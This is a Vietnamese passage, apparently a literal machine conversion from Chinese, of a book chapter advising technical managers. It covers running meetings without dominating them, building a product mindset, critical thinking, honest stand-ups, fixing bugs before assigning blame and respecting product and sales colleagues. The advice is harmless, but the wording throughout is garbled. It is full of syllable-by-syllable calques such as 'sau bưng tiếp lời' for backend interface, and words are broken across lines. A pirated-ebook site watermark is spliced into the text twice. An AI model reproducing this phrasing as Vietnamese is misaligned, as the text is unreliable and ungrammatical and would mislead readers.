Chủ quản kỹ thuật đừng luôn nghĩ mình có thể nhẹ nhõm, không cần làm chuyện, đối với các đồng nghiệp nhắc vấn đề đừng dùng ứng phó thái độ. Tỉ như, đồng sự hỏi ngươi cái nào đó phương án có thể hay không, ngươi nhìn cũng không nhìn liền trả lời "Tùy tiện, cũng có thể " . Dạng này mã hổ chuyện tâm thái cũng là có thể truyền cho đoàn đội thành viên khác , đằng sau toàn bộ đoàn đội đều có thể qua loa làm việc

.

Chủ quản kỹ thuật chú ý không nên xuất hiện một mình chiến đấu anh dũng tình huống, không nên đem chính mình phong bế làm việc sứ đoàn đội thành viên khác đều không biết mình đang làm gì, bằng không không được dẫn đầu tác dụng.

Không chuyên chế

Chúng ta muốn tại trong đoàn đội tạo một loại "Từ đuôi đến đầu " Không khí. Nếu như chủ quản quá chuyên chế, cái gì cũng là mình nói tính toán, không nghe đại gia đề nghị, cái kia đem rất khó tạo thành "Từ đuôi đến đầu " Không khí.

Họp thảo luận vấn đề lúc, chủ quản muốn trước nghe những người khác đề nghị, chính mình cuối cùng phát biểu nữa quan điểm. Nếu như chủ quản ra tay trước bề mặt điểm, đại gia dù cho có ý kiến phản đối, nhưng bởi vì chủ quản là lãnh đạo cũng phản bác không được, sẽ không nói ra chính mình ý tưởng chân thật. Mỗi lần họp thảo luận vấn đề, trước tiên có thể để các đồng nghiệp thay phiên 2 vòng phát biểu đề nghị, cái này 2 vòng chủ quản đều không phát biểu bất luận cái gì thái độ. Vòng thứ nhất mỗi người nói đề nghị của mình, vòng thứ hai mỗi người lời bình một chút toàn bộ xây

Bàn bạc, lúc này đại gia đối với tất cả mọi người đề nghị đều biết, cũng đối đề nghị của mình tiến hành lần nữa suy xét, có thể sẽ phát hiện đề nghị của mình không quá ổn hoặc người nào đó đề nghị tốt hơn. Vòng thứ hai lời bình hậu chủ quản liền có thể biết toàn bộ đoàn đội xu hướng tại kiến nghị gì, lại tổng hợp đại gia đề nghị phát biểu quan điểm của mình. Chủ quản đừng chỉ dùng chính mình quan Điểm, tốt nhất có thể dung hợp nhiều người đề nghị làm cho phương án càng thêm hoàn thiện. Dạng này những người khác cũng sẽ cảm thấy mình nhắc đề nghị bị tiếp thu, lần sau mới có thể càng hăng hái. Đối không thể tiếp thu đề nghị muốn đầy đủ chứng minh nguyên nhân, để đồng sự nhận thức đến đề nghị không đủ, trợ giúp hắn đề thăng đồng thời để hắn có lòng tin lần sau đưa ra tốt hơn đề nghị.

Chủ quản kỹ thuật phải tin tưởng quần thể sức mạnh, đừng có vấn đề chỉ là tự mình một người suy xét, có thể đem vấn đề đều nói cho đại gia để mọi người cùng nhau suy xét. Một người suy nghĩ vấn đề khó tránh khỏi có không nghĩ tới chỗ, một đám người suy nghĩ vấn đề sẽ càng thêm toàn diện.

Chủ quản kỹ thuật ngoại trừ muốn chú ý hành vi của mình cùng nhân cách bên ngoài, còn muốn dẫn đạo đoàn đội thành viên tạo thành phía dưới tâm tính.

Sản phẩm tâm tính

Ta cho rằng chương trình khai phát có hai loại tâm tính: Bao bên ngoài tâm tính cùng sản phẩm tâm tính.

Nếu như lập trình viên cầm bao bên ngoài tâm tính, suy nghĩ theo sản phẩm quản lý nói khai phát là được, nhìn bề ngoài lấy không có hỏi

Đề, không chú ý chương trình có thể đọc tính chất, mở rộng tính chất, tính an toàn, sản phẩm quản lý hết chỗ chê sự tình liền không làm, lúc nào cũng cho rằng là đang cấp người khác khai phát sản phẩm.

Nếu như lập trình viên cầm sản phẩm tâm tính, sẽ đứng tại dùng nhà góc độ suy xét, sẽ hăng hái cùng sản phẩm quản lý câu thông, phản hồi sản phẩm vấn đề. Sản phẩm quản lý tư duy logic không có lập trình viên mạnh, thường thường dễ dàng sơ sẩy một chút khâu. Tỉ như số liệu vì trống không giao diện, nhiều khi lập trình viên tự mình xử lý —— Tại giao diện biểu hiện "Tạm thời không có đếm

Căn cứ " Mấy chữ. Nhưng nếu như đứng tại sản phẩm góc độ suy xét, số liệu vì trống không nhắc nhở giao diện muốn hay không thiết kế hữu hảo một chút? Muốn hay không dẫn đạo người sử dụng làm khác thao tác? Phát hiện có giao diện bị thiết kế đã bỏ sót kịp thời hướng sản phẩm quản lý phản Quỹ, mời hắn đi suy xét những vấn đề này.

Có sản phẩm tâm tính lập trình viên còn có thể tại sản phẩm sau khi lên mạng chú ý người sử dụng sử dụng tình huống, chủ động cùng người sử dụng tiếp Sờ. Mỗi người đều hẳn là đi tìm hiểu người sử dụng, không thể tại đi với nhau nhà đều không hiểu rõ tình huống phía dưới đứng tại chính mình góc độ xách sản phẩm vấn đề. Lập trình viên thường thường từ chính mình góc độ xuất phát cho rằng cái nào đó công năng khai phát đi ra chắc chắn không có ai dùng, mà công năng khai phát hảo sau lại có số lớn người sử dụng sử dụng, đại gia tại khai phát công năng phía trước không nên gấp tại phán đoán, phải dùng số liệu nói chuyện.

Chủ quản kỹ thuật muốn dẫn đạo đoàn đội thành viên dưỡng thành sản phẩm tâm tính, không phải vì người khác làm sản phẩm, mà là vì chính mình làm sản phẩm.

Dùng phê phán tính chất tư duy thảo luận vấn đề

Đang thảo luận vấn đề lúc, rất nhiều người mục đích đúng là "Quan điểm của mình không thể bị phủ nhận " . Vì duy trì quan điểm của mình, sẽ cầm một chút cực đoan ví dụ làm luận chứng, "Vạn nhất, phòng máy bốc cháy làm sao bây giờ?" ; Hoặc lấy nhân thân công kích phương thức, "Cái này năng lực cá nhân không được, hắn nhắc phương án không thể dùng " . Bọn hắn giống như cho là mình quan

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Điểm bị phủ nhận cũng rất mất mặt, bất kể như thế nào đều phải phản bác người khác quan điểm, giữ gìn quan điểm của mình, há không biết càng như vậy càng để chính mình khó xử, tại tất cả đồng sự trong suy nghĩ cũng không có ấn tượng tốt.

Chủ quản kỹ thuật muốn để mọi người đều biết: Tất cả thảo luận cũng là "Đối chuyện không đối người " , cũng không phải nói quan điểm của ngươi bị phủ nhận liền đại biểu đại gia không đồng ý ngươi người này.

Chủ quản kỹ thuật muốn dẫn đạo đại gia dùng phê phán tính chất tư duy phương thức đến thảo luận. Phê phán tính chất tư duy chính là mọi người không cần làm lời lẽ sai trái, không cần cầm cực đoan số ít ví dụ tới giữ gìn quan điểm của mình, muốn phân tích mỗi cái quan điểm luận đề, luận cứ, kết luận là không đầy đủ hợp lý; Cũng không cần quang xách quan điểm không có luận cứ, chỉ nói "Ta cảm thấy có hại công ty lợi

Ích " , "Ta cảm thấy không được " Và nói không nên lời lý do, dạng này là rất khó để cho người tin phục.

Người Trung Quốc từ nhỏ tiếp nhận cũng là phục tùng giáo dục giới tính, cho rằng lão sư nói rất là đúng , lãnh đạo nói rất là đúng . Trường học rất ít chú ý bồi dưỡng học sinh phê phán tính chất tư duy, cho nên cái này khiến cho chúng ta từ nhỏ đã khiếm khuyết loại này tư duy, chính chúng ta phải thật tốt đi tìm hiểu một chút. Đại gia có thể ở trên mạng lùng tìm càng nhiều phê phán tính chất tư duy tư liệu, ta đề cử một bản tương đối khá liên quan sách báo ——《 Học được đặt câu hỏi 》, đại gia có thể xem.

Không chờ đợi, không lừa gạt

Đoàn đội thành viên dễ dàng xuất hiện hiện tượng như vậy: Lúc nào cũng chờ lấy được phân phối nhiệm vụ, chính mình không chủ động kiếm chuyện làm, nhiệm vụ hoàn thành cũng không nói, chờ chủ quản hỏi mới nói nhiệm vụ hoàn thành, muốn tại loại này chờ đợi trạng thái có thể trộm một chút Lười. Một chút đoàn đội theo nhanh nhẹn khai thác quá trình, mỗi ngày đều có đứng thẳng hội nghị, cái này rất dễ dàng liền sẽ biến thành hình thức chủ Nghĩa. Đứng thẳng hội nghị yêu cầu tất cả thành viên mỗi ngày muốn nói mình làm cái gì, có thành viên vốn là không chuyện làm cũng muốn biên chút bản sự tới nói. Một chút đoàn đội yêu cầu thành viên mỗi ngày hoặc mỗi tuần đưa ra ngày làm việc chí, nhưng cũng dễ dàng làm giả, bịa đặt một ít chuyện đang làm việc trên nhật ký. Vốn là một việc hôm nay có thể làm xong, nhưng phải lưu đến ngày mai, bởi vì sợ ngày mai không chuyện làm. Như thế nào thay đổi những thứ này hiện tượng, để đoàn đội làm đến "Không chờ đợi, không lừa gạt " Đâu?

Chủ quản kỹ thuật muốn dẫn đạo đại gia làm đến thẳng thắn. Không có việc làm chính là không có chuyện, không chuyện làm quang vinh! Tại đứng thẳng hội nghị thời điểm có thể nói "Ta hôm nay rảnh rỗi làm, đại gia có chuyện gì có thể tìm ta " Người, chắc chắn có thể giành được đại gia bội phục, đại gia sẽ cảm thấy hắn hiệu suất làm việc cao, nhanh như vậy liền đem sự tình đều hoàn thành . Chủ quản kỹ thuật muốn cổ vũ đại gia tại sau khi nhiệm vụ hoàn thành lợi dụng thời gian làm việc tới học tập.

Giải quyết vấn đề tâm tính

Làm người sử dụng phản hồi sản phẩm có bug lúc, lập trình viên phản ứng đầu tiên thường thường là lấy phía dưới hai loại:

Giật mình: Làm sao có thể có vấn đề! Tự tin: Đây không phải vấn đề của ta!

Phản ứng đầu tiên không phải muốn giải quyết vấn đề, mà là muốn trốn tránh trách nhiệm. Kỳ thực nhiều khi chủ quản kỹ thuật đều không phải là tại truy cứu trách nhiệm, mà là muốn đuổi nhanh giải quyết vấn đề. Dù cho có trách nhiệm, thường thường cũng là chủ quản kỹ thuật một người gánh chịu, chính hắn tiếp nhận người sử dụng hoặc lão bản mắng chửi, mà sẽ không liên luỵ đoàn thể thành viên khác, sẽ không nói người khác làm được không tốt.

Chủ quản kỹ thuật muốn dẫn đạo đoàn đội thành viên trước tiên giải quyết vấn đề, không nên tự trách. Đầu tiên, không cần giật mình, vấn đề đã xuất hiện, đây là sự thật.

Làm đoàn đội nhiều người hợp tác khai thác công năng xuất hiện bug lúc, phía trước lập trình viên nói: "Đây không phải vấn đề của ta, chịu Nhất định là sau bưng tiếp lời vấn đề." Sau bưng lập trình viên nói: "Ta tiếp lời không có vấn đề, chắc chắn là phía trước hỏi

Đề." Hai người đều cho là mình không có vấn đề, đều không đi tra hỏi đề.

Làm ngươi nói "Không phải vấn đề của ta " Lúc, cần chứng minh thật không phải là vấn đề của ngươi. Phía trước lập trình viên lập tức tra một chút chương trình, bài trừ là chính mình vấn đề, đồng thời xem sau bưng tiếp lời sai lầm ở đâu, đem tiếp lời trở về kết quả Screenshots truyền cho sau bưng lập trình viên. Sau bưng lập trình viên cũng muốn lập tức tra một chút chính mình dấu hiệu, xác nhận tiếp lời trở về giá trị có chính xác không.

Gặp phải vấn đề, phản ứng đầu tiên hẳn là tất cả mọi người đều hành động tra hỏi đề, không cần trút đẩy trách nhiệm. Đổi vị trí suy xét

Lập trình viên dễ dàng xem thường khác cương vị người.

Đầu tiên là lập trình viên cùng sản phẩm quản lý dễ dàng lẫn nhau xem thường. Lập trình viên cho rằng "Sản phẩm quản lý cả ngày chỉ có thể vẽ nguyên hình, sản phẩm thực hiện còn phải dựa vào ta " . Sản phẩm quản lý cho rằng "Sản phẩm ý nghĩ cũng là ta nghĩ, lập trình viên chỉ là thực hiện ta ý nghĩ công cụ " .

Chủ quản kỹ thuật muốn dẫn đạo đoàn đội thành viên học được đổi vị trí suy xét.

Sản phẩm quản lý cũng không chỉ là đơn giản vẽ nguyên hình, bọn hắn muốn làm người sử dụng thăm đáp lễ, muốn làm số liệu phân tích, muốn làm lại còn phẩm phân tích, làm nhiều như vậy sau đó mới có thể vẽ ra sản phẩm nguyên hình. Lập trình viên đi làm sản phẩm quản lý chuyện cũng là khó khăn, tỉ như người sử dụng thăm đáp lễ, như thế nào có thể bảo chứng để người sử dụng tiếp điện thoại của ngươi mà không treo đánh gãy, lại có thể cùng ngươi phản hồi sản phẩm

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Vấn đề đâu? Lập trình viên muốn thực tình mà cho rằng "Sản phẩm quản lý rất lợi hại " .

Đồng dạng, sản phẩm quản lý cũng không cần cho rằng lập trình viên chỉ là đơn giản thực hiện ngươi ý nghĩ, bọn hắn muốn làm nhu cầu phân tích, chỗ khó phân tích, chương trình cơ cấu, cam đoan chương trình có thể mở rộng tính chất, tính an toàn, còn muốn cân nhắc cao đồng phát hỏi

Đề. Lập trình viên làm so với sản phẩm quản lý nghĩ muốn nhiều. Sản phẩm quản lý cũng muốn thực tình mà cho rằng "Lập trình viên rất lệ Hại " .

Lập trình viên còn dễ dàng xem thường nhân viên nghiệp vụ, cảm thấy mình so nhân viên nghiệp vụ khổ cực, cho rằng nhân viên nghiệp vụ mỗi ngày chỉ là mồm mép nói chuyện, việc làm quá dễ dàng, nghiệp vụ đàm luận thành sau liền cái gì cũng không quản, đằng sau lập trình viên phải tốn đại lượng thời gian tới thực hiện bọn hắn nói tiếp nghiệp vụ. Kỳ thực, nhân viên nghiệp vụ cũng không dễ dàng, bọn hắn đang nói nghiệp vụ phía trước muốn hiểu khách hàng công ty, hiểu rõ khách hàng sản phẩm, ngờ tới khách hàng điểm đau. Chúng ta tan việc, nhân viên nghiệp vụ có thể còn tại tiếp khách hàng ăn cơm uống rượu. Nhân viên nghiệp vụ phải thừa nhận nhiều lần thất bại, nói chuyện 10 cái nghiệp vụ có thể có bảy, tám cái cũng không thành công. Lập trình viên muốn thực tình mà cho rằng "Nhân viên nghiệp vụ không dễ dàng " .

Lập trình viên sở dĩ dễ dàng không nhìn trúng sản phẩm quản lý, nhân viên nghiệp vụ, ta cho rằng là bọn hắn cho lập trình viên mang đến chuyện làm, tựa như là cho lập trình viên tìm phiền phức. Nhưng ngươi thật sự hy vọng ở công ty không có sự tình làm sao?

Chủ quản kỹ thuật tận lực làm đến nói ở trên mấy điểm liền có khả năng tạo một cái có thể làm cho đại gia dụng tâm công tác hoàn cảnh.

Mặt khác, còn nghĩ nhắc nhở đại gia: Làm quản lý đều biết gặp phải hỗn loạn, không thể nào làm được hoàn mỹ; Chủ quản phải học được uỷ quyền, đừng nghĩ đến đích thân giải quyết mỗi cái vấn đề; Chủ quản chỉ phụ trách phát hiện vấn đề cùng đưa ra vấn đề, để trong đoàn đội các tinh anh đi giải quyết vấn đề, tin tưởng bọn họ có thể giải quyết rất khá, có thể còn có thể vượt qua dự liệu của ngươi. Đối mặt vấn đề, các tinh anh sẽ cảm thấy là khiêu chiến, chủ quản nên cho bọn hắn bày ra cơ hội.